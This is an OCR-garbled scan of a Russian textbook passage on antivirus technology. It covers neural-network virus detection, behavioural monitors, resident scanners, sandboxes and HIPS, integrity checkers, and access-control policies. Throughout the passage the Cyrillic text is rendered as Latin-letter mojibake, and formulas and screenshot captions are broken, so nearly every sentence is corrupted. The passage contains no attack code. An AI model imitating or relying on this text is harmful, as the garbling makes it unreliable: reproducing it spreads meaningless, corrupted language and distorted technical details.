hom cjiynae KasKfluM yseji oflHoro cjioh coeaHHeH co BceMH y3JiaMH co- 
ceflHHx c.iocb:

BxOAHOM npOMeJKVTOMHbW SwXOflHOM
cnoii enow cnon

Pwc. 7.52 ❖ TMnMHHap crpyicrypa 
M HorocnoCiHoro n e p u e m p o n a

n o  p e 6paM  pacnpocTpaHHioTCH HHcjiOBbie 3HaMCHHH. K p o M e  T oro , Ka>K- 

a o M y  p e 6 p y  ipat|)a n p H im ca iio  H eKOTopoe nepeMeHHoe hhcjio W  -  «B e c »  

p e 6p a  (e m e  h x  Ha3biBaioT «c im a n c a M H » n o  aH aJioran  c n oxoaa iM H  a jie - 

MeHTaMH b 6 noJiorHHecKHX H e iip oH ax ). P a c n o 3H aiom n e cBOHcrea H efl- 

pOHHOil ceTH 3aKJIIOMafOTC>I HMCHHO B CHCTeMe 4>HKCHp0BaHHbIX 3n an e- 

HHii BeCOB W.
IlpeAno.ToacHM, hto hmciotoi HeKOTOpbie HHCJiOBbie npn3HaKH. ji ohh 

no/raio'rc« Ha cooTBeTCTByiomne y3Jibi BxoflHoro cjioji. Ecjih npH3HaKii 
He 'iHCJioBbie, a JionmecKiie, mojkho npHHHTb hx paBHbiMW 0 hjih 1. 3 th
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3HaHeHHH pacnpocTpaHHKDTca no  pe6paM «c jieBa nanpaBo» ( t o  ecTb no  

HanpaBJieHHio o t  BXoaHoro cnoa k  Bbixo/moMy) h co6 npaioTca b y3.aax 

npoMeacyTOHHbix cnoeB, ho, nepea tcm KaK aBH Hyrbca Aajibiue, nepecMH- 

TMBaioTC}! b  KaacaoM y 3Jie no npaBiiay:

( a  \
Y = F J W tX } ,

Vi-t J

rae j  -  HOMep pe6pa, B x o a a m ero  b y3 ea ; W} -  3H a'jeH ne j - r o  «cH H a n ca »; 

Xj -  sHaHCHHe, B xo fla m ee  b V3Cji n o  j -M y  pe6py; M  -  k o j ih h c c tb o  pe6ep , 

B xo fljn u n x  b yseji; Y  -  B b ixoaH oe 3HaneHHe yaaa, pacnpocTpaH H iom eecH  

b / (M b ffe ih u eM  Ha Bee y3.ibi tv ie/ jy iom ero  cjiox; F -  o6 m aa  jvm  b cex ysaoB  

(J)yHKUHa. H cno/ib3yroTca HecKOJibKO BapnaHTOB 3 to h  (fm iKH M H , nam e 

B cero  «JiorncTHMec,KaH » F(t) =  1/(1 + e x p  ( -a t ) )  c «n ap a\ ieTp oM  n o jio r o -  

c t h »  a (cm. piic. 7.53).

P h c . 7.53 ❖  JlorncTnnecKaq cjjymcuMH 
aKTHBauMH HeiipoHa

B HTore Ha yaaax BbixoflHoro cJioa ccth  o6pa3yK>Tca HeKOTOpbie 3Ha- 
neHHH. Ecjih «c.H H ancbi» W  noflo6paHM npaBiuibHo, to  Beicrop 3Ha’«iHHH 
oyaex cooTBeTCTBOBaTb npaBiiJibHOMy «oTBeTy». HanpHMep, Bbixoa, co- 
oTBeTCTByiomHH «ceTeBOMy nepBio*. 6yaeT 6jiii30k k 1, a Bee ocrajib- 
Hbie - k 0. TaKOB npHHnun aeftcTBHH pacno3HaromeH nefipoHHOH cera.

Ho n e p e a  uanajioM  H cnojibaoBaH H a ceTb HV/KflaeTcn b «o6 yM en H H », t o  

ecTb b nacTpoH Ke c iiH ancoB  W . C ym ecT B yeT  H eM ajio  a.rrropiiTMOB <■ o o y '»■- 

h h h » ,  n a n 6 o jie e  n pocTU M  h  nonyjiHpubiM HB.fiaerca «a jiro p iiT M  o6p aT H oro  

pacnpocTpaH eH H H  o u ih 6 o k » .  Q ia q a a a  BceM «c im a n c a M » npncBanBaioTca 

c jiv q a ii i ib ie  ana 'ie iiH H . I I o t o m  oep e rcH  6 o jib m o e  K o a m e c T B O  o o y n a io im ix  

o6pa3uoB  (H a n p H M ep , k o j ij ic k u h h , coaep jK am an  KaK pa3H oo6pa3H bie BH

pycb i, xaK h  HopM ajibHbie n porpaM M bi) h  ajih Kaacaoro H3 h h x  H eH po im yio
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ceTb 3acTaBJiHK)T BbroicjiHTb neKHH pe3y/ibTaT. O iiih6kh pacno3HaBaHHH 
(oTKJioHeHHH nojiyneHHhix Ha Bbixozie 3HaneHHH o t  oacHflaeMbix), pacnpo- 
c.TpatiaHCh b o6paxHOM uanpaBJieiiHK -  o t  BMXoanoro cjioh k BXOflHOMy, 
Hcno;ib3yioTCH luia nepecMeTa «cnnancoB». 3Ta npoLteavpa noBTopaeTCJi 
MHoroKparao, noKa ceTb He nayjHTca pacno3HaBaTb oahh oopa3en, nocjie 
Mero ce™  npe&JiaraeTca cjieayiomHH o6pa3eu, noTOM eme 02HH, h TaK no  

Tex nop, noKa ceTb He HayniiTCH KJiaccn^HUHpoBaTb Bee npezyiaraeMbie 
o6beKTbI c npHeMTICMOtl TOHHOCTbK). OKOHHaTeJIbHO 3HaHeHHH «CIIHari- 
cob> (J)HKCHpyioTca, h ceTb c'lHTaexcH roTOBOH k  pa6oTe.

Ha npoTHSKeHHH 1990 -x  roaoB  rpynna uccJie/ioBaTejieH 113 IBM  
R esearch  MHoro ,3KcnepnMeHTnpoBajia, nbiTancb npnMeHHTb nefipon - 

Hbie c e m  ansi fleTeicnipoBaHRH «HeH3BecTHbix» BHpycoB [4 5 ]. I lp n  s to m  

b KanecTBe bxo/ihm x aan n b ix  pacc.MaTpuBajiHCb HaBJienenHbie H3 n p o 

rpaM M H oro  K oaa  «3 -rp aM M H » h  «4 -rpa.w M bi». O t h o c u t ejibH fjii ycnex  

6bi;i a o c T H r a y r  n pn  AeTeK'nipoBaiiHH 3arpy30HHbix BHpycoB: «H O B b ie» 

pa3H0BHflH0CTH 0H03HaBaJMCb C BepOHTHOCTblO 0,85, npHHeM jIOXHbie 

cpaoaTbfBaHHH HaGjHoaaym cb M eH ee MeM b 1% c jiynaeB . M ToroM  pa6 oTbi 

CTaJi H enpoceTeBO H  M o a y jib  ANN, BKJUOMeHHbiii b cocTaB  IBM  A ntiv iru s. 

O ^ H aK o  nonb iTKa npHM eHHTb T aK o fl ace n o a x o a  a n a  AeTefcm poBaHitM  

M S-DOS h  W in 3 2 -B n py co B  n oK a3a jia  He c jih iu kom  b h c o k iih  npoueHT  

pacno3HaBaHHH. B 2007 r. rpyn n a  HCCJie/toBaTejieii 113 VHHBepcnTeTa BeH- 
FypHOH cTaBHJia aHajioritM H bie aKcriep iiM eH Tbi, n cn o ;ib 3 ya  «5-rpa.MM bi», 

h  f lo6 H ;iacb  B epoH T H ocra  pacno3HaB3HHH 0,89 npH 4%  JioacHbix cpa6 aTbi- 

B3HHH [5 9 ].

Bep0HTH0, SB pucTii'iec .K ife  pacno3H aBaTe.in , npeTeH/iyrom He Ha x o p o -  

u ih h . pesv.ibTaT, ao jia cH U  H cno;ib30BaTb  b xaparcrepHCTHHecKHX BeKTopax 

CMecb pa3H opo flH b ix  npH3H3K0B: «n -rp a M M b i», CTaTitcTHMecKiie o cooeH - 

HOCTIl KOfla, HH(J)OpManHIO H3 IiporpaM M H blX  3ar0JI0BK0B H npOHee.

B nacTO H U iiiii m om ch t H en p oceT eB b ie  M oay jra , p em a tom n e  qacxu b ie  3a- 

aaHH /leTeKTHpoBam iH, BKjnoM enbi b o  M H on ie  aHTiiBHpycbi. H an p iiM ep , 

Ha MOMeHT H anncaH H a s t h x  c t p o k  cpa3y  HecKo/ibKo H enpoH H bix ceTeit 

(flB 3  «H eH p o n p o c [)H J M ») B K jn o 'ie iib i b  cocTaB aHTHBHpyca AVZ j in x  noH c- 

Ka n0fl03pH Te^bH bix  n porp aM M  H3 4 H ck c  n  b n a .w m i.

7.4.10. KoHuenuMSi coBpeMeHHoro amviBMpycHoro 
f l e T e K T o p a

H a  npoTHaceHHH n o c jie z im ix  z jeca  T iiJ ieraH  npeacTaBJieHwe cnem ia jm cTO B  

h  no.TibaoBaTe.’ie ii o  tom , KaK BbirjiH ijeTb 11 paSoTaTb «HfleaJib-

H bIH » 3HTIfBHpyCHbIH fleTeKTOp, MeHHJIOCb. B OOlHeM H ne/IOM, n p on ecc
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aToro H3\ieHeHHH mojkho ripeacxaBHXb KaK pa3aejibHoe pa3BHTiie, kohky- 
pennnio h CHHTC3 /iiiyx KoimeriHHH:

O aeTCKTnpoBaHHe BHpycoB <<b oxaxHKe» -  no hx aBOH'iHOMy o6pa3_y 
Ha /jHCKe hjih b naMHTH;

O  aeTCKTHpoBaHiie B iip ycoB  « b  an H aM H K e» -  n o  h x  noBe/ieHHio.

I le p B a a  rp y n n a  h o a x o /io b  h  M exoaoB , BKJiioliaio inaH  n o n cK  C H m axyp, 

pacneT  KOHTpOJIbHbIX cyM M , BblHHCJieHHe K03t}xj)HUHeHT0B «n oxo>K ecTH », 

3BpHCTHHeCKHH aHaJIH3 COBOKynHOCTeH pa3H006pa3HbIX npH3H3KOB II 

u p o 'ie e , 6bi.ia  HaMH Bbirne a o c x a x o q iio  n oap o6 H a  paccM OTpeHa. «/I.HHa- 

MHKa*> (b  cjiop.vie S M yaau m i h  TpaccnpoBKH) Hrpa.na b 3th x  MeToaax n oa - 

'iH H en n y io  po ;ib , KaK cpeacTB o n o jiyn en H H  H H oro -  6 o jie e  y a o o H o ro  a a a  

H ccaeaoB anH a. -  h o  Bee paBHO cxaxH \oioro o6pa3a «n o a o 3 p n x ea b U b ix »  

nporpaMM.
OanaKO He Menee atJj^eKXHBHoii paaiioBHaHocxbio aHTHBHpycHoii 

3amHTbi HB.iaeTCH aeTCKTHpoBaHHe BH pycoB  b r ip o n ecce  hx p a 6 o r a  no  

xap aK Tep H ofi n ocaeaoB axeabH ocTH  BbinoaH H eM bix achcxbmh. CaMbie 
paHHHe 3KcnepH M eH TU  b stom HanpaBaeHHH n p o B o a n jin cb  em e  «n a  

a a p e *> 3noxH KOM nbioxepHbix B iip ycoB , aocxaTO H no BcnoMHHTb xoth  6 bi 

aHTHBHpycHbiH MOHHTOp « -D »  E. KacnepcKoro (1990 r . ).  3Ta n p orp aM 

Ma nepexB aTbiBaaa H an6 o a e e  n acTo  n c iio ab 3 veM b ie  cncTeM H bie npepb i- 

BaHHH M S-DOS h BIOS h iiH iJxjpM iipoBaaa noabsoBaxean o BcnnecKHX 

«o n a c H b ix »  h «noao3pnTeabHbix» co6hthhx: o n p a M o ii p a 6 oTe  c  ceicro - 

paMH BiiH H ecTepa h ancKeT , 0 6  ycxaHOBKe pe3HaeHTHbix o 6 p a 6 oTHHK0 B 

K aK oro -a H o o  iipepb iB an iiH , o nonb iTK e 3anncH o a n ifx  nporpaMM b (fraiiabi 

ApyrH X  nporpaM M  h  t. n. Pa6oTa n o a  Ha30HJiHBbiM npiicM0Tp0M TaKO- 

ro «M O H H TO pa» Tpe 6 oB aaa o t  noabSO BareaH  bhcokoh KBaancjjHKauHH h 
KpenKHX HepBOB.

Turbo f l s s e n b le r  U ers ion  2 . 0  C o p y r igh t  Cc> 1988, 199G1 Bor land  I n t e r n a t i o n a l

A s s e n b l in g  f i l e :  e x a n p le .a s n
E r r o r  n e s s a g e s :  None
Warning n e s s a g e s :  None 
P a s s e s : 1
R e n a in in g  menory: 328k

Turbo L in k  U e rs ion  3 .0

Pmc. 7.54 ❖ BcnnbiBaiomee okho 
noBefleHHecKoro 6/ioKnpaTopa «-D»

M ohhtop « -D »  He ooaaaaa MHorHMH cBoncxBaMii, acejiaxeabHbiMii 
; i j ih  nporpaMM noao6noro Tima:

O  BG3MO>KHOCTbIO BeCTIl «6eablil CIIHCOK» nporpaMM, KOTOpblM pa3- 
pemeHbi aroowe aencTBHH;
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O  B03M03KH0CTbK) BeCTH CIIHCOK nporpaMM H CIICTeMHMX o6jiacTeii 
KOMnbiOTepa, .zyia KOTopux 3anpemeHbi Jitoobie MOflHcjjHKanHH;

O HajiHHHeM «ncKyccTBeHHoro HHTeJiJieKTa», no3Bo.TOfoiyero peara- 
poBaTb He Ha OTztejibHbie no/ioapHTejibHbie fleHCTBiia, a Ha hx no- 
cjieaoBaTeJibHocTb, THniiHHyio ajih toh  H/m hhoh pa3HOBHflHOCTH
BHpVCOB.

OaKTHHCCKH flJIfl MOHHTOpOB II0^06H0r0 THna Tpe60Ba^0Cb H Tpe6y- 
c t c h  yMemte peajiH30BhreaTb pasrpanHMeitHe gocTyna k nporpaMMaM h 
CHCTeMHbIM o6jiaCTHM KOMnbiOTepa Ha OCHOBe FHOKO MO/IH(J)HIIHpyeMOil 
nojiHTHKH 6e3onacHocTH, KOTOpbiM « -D »  ii eMy noflo6nbie aHTHBHpycbi 
He o6jiaflajin. Ybm, b anoxy M S-DOS aHTiiBiipycHbiM MOHHTOpaM a j i x  

3Toro npocTo He XBaTajro h He moi'jio XBaTHTb cucTeMHbix pecypcoB.
Hflea aHTHBHpycHbix m ohhtopob 6biJia peaHHMHpoBaHa no3»ce, b ano- 

xy W indow s -  b (J)opMe «rHopHz[a» aHTHBiipyca-MOHHTopa h aHTHBiipy- 
ca-CKaHepa. Th iiiih -h m h  aHTHBHpyc, pa6oTaioiuHH no 3T0My npH H um iy, 

nepexBaTbiBaeT MHHHMajibHhiH Ha6op cHCTeMHbix 4>yHKmiH, flocraTOH- 
HbiH flJia KOHTpojia Haa (J)aHJiOBbiMH onepauiiflMH (HanpHMep, (J)yHKUHio 
«N tC rea teF ile » H3 6ii6jmoTeKH «N T D L L .D L L » ) .  Ejiarojiapa stomv 
«pe3HfleHTHbift» aHTHBHpyc nojiynaer ynpaBJieinie npH co3AaniiH, ot- 
KpUTHH, HTCHHH H 3anHCH (f>aHJia, 6e3 Hero H£B03M0>KHbI HH 3aiI\'CK npo
rpaMM, hh hx KomipoBaHHe c BHeuiHero hochtcjiji. IIo jivhhb ynpaBJie
HHe, aHTHBHpyc pa6oTaeT KaK o 6biHHbin «cKanep» -  t o  ecTb, ncnojib3ya 
noHCK CHTHaTyp, cpaBHeHiie KompojibHbix cvmm h 3BpHCTHHecKHH aHa- 
jih3, nbiTaeTca o6HapyacHTb b nporpaMMHOM (Jaiuie Ty hjih HHyio pa3- 
HOBH/IHOCTb BHpyca.

Accessed file is infected

Threat detected!
F ile n a m e :  E :\R E C Y C L E \P 0 rfu m eexe

T h r e a t  n a m e :  V im s identified VB.FRI
D e te c te d  on open

M o re  in fo rm a tio n  a b o u t  th is  th re a t

□  R e r r w e  threat a s  P o w e r  U ser

H eal M ove to Vault Ignore

P h c .  7 .5 5  ❖ AVG Resident Shield -  
TMnMHHblfi aHTMBMpyCHblfi MOHMTOp
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T a K o ii aHTHBHpyc nac/ieavex Bee neaocTaTKH KJiaccHHecKoro aHTHBH- 
pycHoro cxaHepa -  ncnojib3yeT orpoMHbie 6a3bi aamibix c CHraaTypaMH, 

ivioxo o6napy>KHBaeT «H O B b ie» BHpycu h t. n. K p oM e  T oro , npHBHOcHT 
h cboh «3aMopoHKH» -  3aHH\iaeT MHoro onepaTHBHoii naMaTH h chjibho 
«T0 p M 0 3H T » p a o o T y  CHCTeMbi. H aK on eu . oh HHKaKHM 06pa30M  He MoaceT 

npoTHBOfleHCTBOBaTb BpeaoH ocH biM  nporpaM M aM , He o(f>opMJieHHMM 
b BH/ie AHCKOBbix (JiaHJioB, -  flocTaTOHHo BcnoMHHTb c n o c o 6  CymeCTBO- 

BaHHH HeKOTopbix cexeBbix nepBeii.
PeiueHiie npooJieMbi aaKinonaeTCH b tom. hto6w  BepHyxbca k HAee Ha- 

qajia 1990-x ro/toB h KonTpojiHpoBaxb noBe/ienHe nporpaMM. TnnHMHbiH 
coiipeMeHHbiH aHTHBHpyc TaKoro K;iacca nepexBaTbiBaeT ooJibiuoe ko- 
-TH'ieCTBO CHCTeMHbIX (JjyHKUHH: (J)aft.10BblX, ceTeBbix, o6ecneHHBaiomHX 
aocTyn k PeecTpy, n03B0JiaK>mnx pacnpezie.THTb naMHTb, oopamaTbca 
K BHeiHHHM VCTpOHCTBaM II T. n. 3 t0  n03B0JiaeT «nepeHa3H3HaTb» no- 
TeniiHajibHo onacHbie B03fleHCTBHa Ha «BnpTvajibHbie uejm>>, HanpHMep 
BMecTo 3anncH hoboto KJircwa b PeecTp nporpaMMoii 6y^eT moahc^h- 
UHpoBaHa ero BHpTyajibHaH KomiH, co3flaHHaa aHTHBHpycoM. OaKTH- 
MecKH jnooaa Bbinojmaiomaaca nporpaMMa nonaAaeT b BHpTyaJibHyio, 
KOHTpojinpyeMyio airniBHpycoM cpeay -  TaK Ha3biBaeMyio <<necouHuu,y>> 
(sandbox). B03M05KHa h nojmaa aMyjiantra aHTHBHpycoM CHCTeMHOH 
cpe^bi, 03naMaiomaa, mto Becb KOMn/ieicc npHKJia/iHbix h CHCTeMHhix 
nporpaMM oyaer BbinojmaTbca b «BHpTyaJibHoii MauiHHe*. AHTHBHpycy 
He Ha^o nbrraTbCH «yra/iaxb», h to  <sno/io3pHTe;ibHa»>> nporpaMMa 6y - 

jiet  nbrraTbca czieJiaTb, eMV /iocTaxomio npocTo «n 0CM0TpeTb», mto ace 
oHa coTBopH.na c BHpxyajibHbiMH koiihhmh nporpaMM h cucTeMHbix 06- 
jiacTefi, 11 cae.xaTb bhboh. Ec.ra HSMeneiiHa Ha aiicKe h b PeecTpe, cfle- 
jianiibie «n0a03pirrejibH0H» nporpaMMoii, 6yayT npH3HaHbi HeonacHbi- 
mh, to  aHTHBHpyc nepeHeceT hx H3 « TiepHOBHKa» b peajibHyio CHCTeMy. 
ripiiHUHn aeiicTBHa noflo6m>ix aHTHBHpycoB nojiyiHJT Ha3BaHHe HIPS  
( o t  anrji. Host-based Intrusion Prei’ention System -  CncTeMa npeaoTBpa- 
meHHH BTOp>KeHHH).

BnponeM, Hcn0Jib30BaHiie «n eco H iiiin » h «BnpTya;ibHbix MauiHH» He 

oTMenaeT ap yru x  pa3H0BHAH0rreH  aHTHBHpycoB. Beflb nporpaMMa, ym - 
MeHHaa bo Bpe/ioiiocnoM noBe/ieniui, Heo6a3aTejibiio nozwejKHT y/iajie- 
hhio, ee mo}kho nonbrraTbca <sBbDieHHTb». H ro 6bi onpeaejiHTb KOHKpeT- 

HbiH th ii  -s3apa3b i», npn^eTca aKTHBHpoBaTb aHTHBHpyc-cKaHep, a LiTo6bi 

BoccTanoBHTb nporpaMMy b HcxoflHOM BH/ie -  aHTHBiipyc-4>ar. B b h jv  

6o;ibu ioro o 6beMa CHraaTypubix 6aa ux Heuejiec.oo6pa3no xpaHHTb Ha 

KOMnblOTepe no.Tb30BaTe.aa. CoBpeMeHHaa T04Ka 3pemia KOMnbiOTepHbix 
BHpycojioroB na npoue/iypy CKaHHpoBamia h JieHeiifia eflHHCTBeiiHoro
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(Jjafijia 3aK.iK>yaeTCH b tom, h to  n p o m e  B cero  nocjian> e ro  no ceTH M m e p -  

HeT b «neHTpa;iH30BaHHt>rii rocnHTa/:b» (HanpHMep, «po6oTy-XHpypry» 
J Ia6op aT op n H  K a c n e p c K o r o )  h  H epea HecKOJibKO c c k v h a  n o jiyn iiT b  Ha- 

3an. b «3aopobom » BH/ie. Ecjih «K a cn e p c K H H » e m e  He3HaK0M c stoh  pa3- 

HOBHflHocTbio «3 a p a 3 b i» ,  t o  3anpoc M05K6T 6biTb n epeaapecoB aH  6oJiee 

0CBe/i0M.7iennbiM KOJiJieraM -  b ^ D o c t o r  W e b »  hjih ^ N o r to n  A n t iv iru s * .  

H aK O nen , e c jn i B H pyc 0Ka3hiBaeTCfl «coBceM hobmm», to  k peiueH H io 

npo6ae.M bi noflKJiioHaioTCH cneunajiHCTbi cpa3y  HecKOJibKHX aHTHBHpyc- 

H bix KOMnaHHH h opraHH33UHH n o  BceMy MHpy.
IToaxoa, ripe/iycMaTpHBaiomHH n i6Koe pacnpeaejieuHe (f)yHKU,HH 06- 

HapyjfceHHfl, aeTeKTHpoBaHHJi h yaaJicHRH BHpyca no pa3HbiM y3JiaM 
oo/ibiiioH ceTH (ceTeBoro «o6 jia ica »), nojiyHHJi Ha3BaHHe « oSjuihhozo» .

7.5. 6opb6a c BHpycaMH
6e3 MCn0Ab30BaHM5I aHTMBMpyCOB

Cmosuiu 3eepu okojio deepu. Ohu Kpuuami, ux He 
nycKcuiu.

A. h  5 . OrpyraiiKne. «>Kyic b  MypaBeHHHKe»

I lo a  aHTHBHpycoM Tpa^HUHOHHo noHHMaeTCH cnenna.TH3npoBanHoe 
nporpaMMHoe hjih annapaTHoe cpeacTBO, iipeflHa3naMe.HHoe ajm  o6Ha- 
pyaceHHH h yaajie.HHH BpeaonocHMx nporpaMM, a TaioKe, bo3mojkho. ajlh 
BOCCTaHOBJieHHH CHCTeMHOII Cpeflbl B nepBOHaMaJIbHOM, HeHH(J)HUHp0- 
bshhom  h  HeiicKaaceHHOM Bime. OaHaKo 6opb6a c BiipycaMH B03M0>KHa h 
6e3 Hcri0Jib30BaHHH noAo6Hbix cpeacTB.

7 .5 .1 .  OaMHOBbie «peBM3opw»
OflHa H3 Hflen 3aKAK3HaeTCH b Hcn0Jib30BaHHH TaK Ha3biBaeMbix «H H cneK - 

TOpOB», HJIH «peBH30p0B». [IpHHUHH HX pa6oTbI COCTOHT H3 BbiriOJlHCHHfl 
AByx onepauroi:

O  KOHTpojib ueji0CTH0CTH (in tegrity  check) nporpaMMHofi 11 CHCTeM- 
hoh  cpeflbi;

O  n p n  o 6 H a p y *eH H H  HCKaaceHHH -  BoccraHOBJieHHe nepBOHana.nb- 

HOTO COCTOHHHH H3 pe3epBH0H KOnilH.
'rmiH'iHbJM npeAcraBHTe.ieM nporpaMM TaKoro K/iacca hbjimctch A d 

v a n c e d  D is k ln fo s c o p e  ( hjih npocTo A d  In f ) .

Cpe/icTisa noAofmoro rana cnxpanHiOT HH(J)opMam«o o MrHOBeHHOM 
COCTOHHHH (snapshot.) CHCTeMbI -  OOblHHO B BHZte KOHTpOJIbHbIX CVMM
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nporpaMM h cjiy>Ke6Hbix o6jiacTeH, a n p n  cjioziyromeM 3anycK e nM TaioTca 

o6nap\OKHTb otjihhhh. He/iocraTKH TaK oro  n o flx o fla  oneBHflHbi:
O  «peBH3opbi» He cnoco6Hbi o6napy>KHBaTb Biipycbi. noHBHBiimeca 

b cncTeMe no hx nepBoro 3anycKa;
O  nocKOJibKy nocToaHHbift Ko/rrpo./ib CHCTeMbi OTcyrcTByeT, t o  BH

pyc, nojiyHHBiuHH ynpaBJieHHe Meatfly 3anycicaM H «peBH3opa», 
Bcerfla HMeeT B03M0}KH0CTb 3a6;i0KHp0BaTb ero hjih iicKa3HTb pe- 

3yjibTaTbi pa6oTbi;
O  «p e B H 3 o p b i»  He c n o c o o H b i oon apyH C H B axb  B H p y c u , H e H M erom n e 

4>aiuioBoro npeflCTaBJiemwi a cymecTByioiUHe TOJibKO b BHfle Bbi- 
h h  c  JiHTe JibHbix nponeccoB;

O  npHMeHeHHe «peBH3opoB» npeflycMarpHBaeT xpaHeHHe 11 pery- 
JiapHoe o6noB.ieHHe (jih6o n0/ib30BaTejieM, jih6o caMHM «peBH30- 
poM ») 6ojiee hjih MeHee nojraoH pe3epBHoii KonHH CHCTeMbi.

TeM He Menee «peBH3opbi» b nacToamee BpeMfl MoryT paccMaTpHBaTb- 

ca KaK Hen.xoxoe noflcnopbe «CKaHepaM» -  b KanecxBe cpeflCTBa, no3B0- 

jiH iom ero H36aBHTbCH or TOTajibHOH npoBepKH Bcex o 6beKTOB Ha fliicKe. 

IIpoBepaTb noTpe6yeTCH TOJibKO H3MefiHBuinecH c npo in jioro  ceaHca pa- 

6oTbI OOIjeKTbl.

7.5.2. no/iMTMKii pa3rpammeHMH flocTyna
O p ezi KoaH b  c b o h x  paHHitx CTaTbHX noKa3aji, h to  m h o k c c x b o  CBJisai-mbix 

flpy r c flpyroM  h cnocooiibix s a p a ^ a ib  flpyr flpyra o 6ri>eKxoB (n p o rp a M M  

h j ih  K O M n b io T ep o B ) o6pa3yvoT «T p a H 3 H T H B H oe  3 a M b iK a im e » . TaKHM 0 6 - 

pa30M, Biipyc, nOHBHBlUMCb Ha OflHOM 113 TaKH X OObeKTOB, H eM H H yeM O
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p a c n p o c Tp a H H TC H  * n o  i(e n o H K e » h  3apa3HT Bee. /JaBHO h 3 b c c th o , h to  

n p o m e  n p e flO TB p a TH TB  6oJxe3Hb, HeM ee BbiJie'iHTb. K o s h  n p e a Jio a a u i 

yH M B epcajibH yio  c T p a T e n iio  6o p b6u  c B H pycH M M ii anH aeM im M ii: «H 3 o - 

jlH m iO H H 3 M », TO  eCTb pa3DHeHHe MHO»CeCTBa nOTeHLI,HajIbHO yS3BHM M X 

o6-beicroB Ha OT/iejibHbie, He CBH3aHHbie a p y r  c a p y ro M  noaM Hoacecrea. 

E c jih  ace HH (})opM aLm oH HaH CBH3b Meacay 06'beKTaMH Heo6xo;iHM a, t o  OHa 

AOJiaCHa aceCTKO KOHTpOJIHpOBaTbCH. O a K TH H e C K H  peHb HfleT O BBeaeHHH 

h  npH M e H eH H H  K O H q e n m m  4pa3zpaHimeHUSi docmyna*, 0CH0BaHH0H Ha 

HeKOTopoS «nojiumuKe 6e3ona.cH.ocmu*. Jliooaa nojiHTHKa 6e3onacHocTH 
MoaceT 6biTb  (J)0p M a jib H 0 onH caH a b bh/ic:

O  MHoacecTBa naccHBHbix (c  to h k h  3penvm hh c|>o pMamiOHHOr o  0 6 - 

MeHa) <io6beKmoe»\
O  MuoxcecTBa aicraBHbix %cy6)beKmoe»\
O  MHoacecTBa «Mem odoe» aocTyna;

O  (J)OpMaJIbHOH CHCTeMbI npaBHJI, B COOTBCTCTBHH C KOTOpOH TeM HJIH 

hhmm «cy6 be ic raM » paspem aexca h jih  3anpemaeTCH npHMeHeHHe 

Toro  iij ih  HHoro «M eT oaa » aocTyna k onpeaejieHHbiM <<o6ieicTaM*. 

E cjih  roBopiiTb 06 oriepaijH om ibix CHCTeMax, t o  b po jih  «06 ’beicT0B» 
06biHH0 BbicTynaioT (JiaHJibi, KaTajiora, TOMa (ah ck h  h hx pa3ziejibi), cjiy- 

>Ke6Hbie 6a3bi aaHHbix (Hanpimep, PeecTp b Windows), peraoHbi onepa- 

THBHOH naMHTH, (|)H3H4eCKHe H JIOniHeCKHC BHeiUHHe VCTpOHCTBa H T. n. 

«C y 6 ’beKTaMH» h b jih io tch  nojibaoBaTe.ra h  rpynnbi nojib30BaTejieH (to h -  

Hee nporpaMMbi, 3anycKaeMbie o t  hx  hm chh). «M e r o a b i»  ace MoryT 6biTb 

caMbie pa3H006pa3Hbie, 3aBHCHmHe o t  rana «c y 6 ’beicroB»: sanncb, mtc- 

hhc, co 3/jaHHe, yaa.rreHHe, nepeHMeHOBaHHe, H3MeHeHHe a a r a  h BpeMeHH 

co3aaHHH, BwnojiHeHHe h t. n. PaHee, b cooTBeTCTByiomnx TJiaBax HaMH 
VTIOMHHaJIHCb nOJIHTHKH 6e30naCH0CTH, CBOHCTBeHHUe OnepanHOHHbIM 

CHCTeMaM Windows h  UNIX. Ho i io jih th k ii paarpamiMeHHS ao cryn a  Mo

ryT  6brrb npHMeHeHbi He tojm>ko Ha ypoBHe onepaiiHOHHbix chctcm , ho 

H B CeTHX. B 3T0M CJIVHae B pOJIH « 06beKT0B» MoryT pacCM3TpHBaTbCH 

V3Jibi-cepBepbi, a b pojin «c y 6i>eKTOB» -  y3Jibi-KJiHeHTbi. Bo3MoacHo h 
npeacTaB.iieHHe b KanecTBe «cy6 be ic roB » h -socvbeKTOB* nejibix cerMeHTOB 

ceTen.
B o6meM, cym ecTBvioT aBe kohuciihm h nocTpoeHHH jhojihthk 6e3onac- 

h oc th : « ducKpeu,uoHH.asi»  (oH a ace •«mCrupamejibHax*)  h -uMaHdamHax* 
(oHa ace %n0JiH0M 0HH<m>>).

B 0 CH0 Be nojiH TH K  nepBoro r a n a  jieacaT «M aT p n n b i a o c T y n a *  -  Ta6 - 

JIHUbl, B K o ro p b ix  CTOJIOIIbl COOTBeTCTByiOT «C y 6 'beKTaM », CTpOKH -  

<«jrn ,eK TaM », a  b  KJieTOHKax n epcrnc/ ie ith i pa3peiueH H bie  «M <iT oab i» (cm . 

Ta6 ji. 7.7).
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Ta&nmia 7.7 . 0 6 im hh  b u r  «M arpnL (b i f lo c ry n a »

Cy6i>eKT 1 CyCteicr 2 .  .  . Cy6i»©KT M
OfiteicT 1
06i.eKT 2

. . . 4TeHMe+3anMCfo
06teicr N

CrieijHaJibHbiH «m ohhtop aocTyna», cJieflHiuiiH 3a HcnojiHeHHeM npa- 
bhji nojiHTHKii 6e30nacH0cxH, no.ib3yeTCH ziaHHbiMH ii3 noAo6Hbix Ta6- 
jihh j i j ih  6iioKHpoBaHHH HeaonycTHMbix onepauHH. OnepamioHHue 
CHCTeMbi ceMeiicTBa W indows N T  h 60JibuiHHCTB0 kjiohob U N IX  hc- 
no.ib3_yioT HMeHHO noao6Hyio cxeMy paarpanHHeHHa aocTyna. IIpaBfla, 
npHMeHeHHe ee b oiiHcannoM BHfle conpaaceHO c pa^oM hhcto TexHHHe- 
ckhx TpyAHOcTef}, B03HHKaK»HHX npn Heo6xOflHMOCTH C03flaBaTb II n i6K0 
MOflH(|)HIIHpOBaTb « 6ojIbIUHe>> (c  MIUIJIHOHaMH «KJieTOHeK»! )  MaTpHHbl 
flocryna. I I  ostomy Ha npaKTHKe (no  Kpaiineii Mepe, b W indow s) Hcnojib- 
3yeTCH 'lacTiibiii cjiy 'ia ii flHCKpeiiHOHHOH iiojihthkii 6e3onacHocni, ko- 
Topbift riojiyHH.i HaHMeHOBaHHe « p o jie e o u  n o j iu m u n u > (h jih  in o J iu m w c u  
p o j ie e o z o  d o c m y n a » ) .  CyTb ee b tom, h to  ctpokh h cT0ji6nbi «MaTpniibi 
flocryna* rpynnnpyioTCH b cootbbtctbhh c «THiiHMHbiMH pojiHMH», koto- 
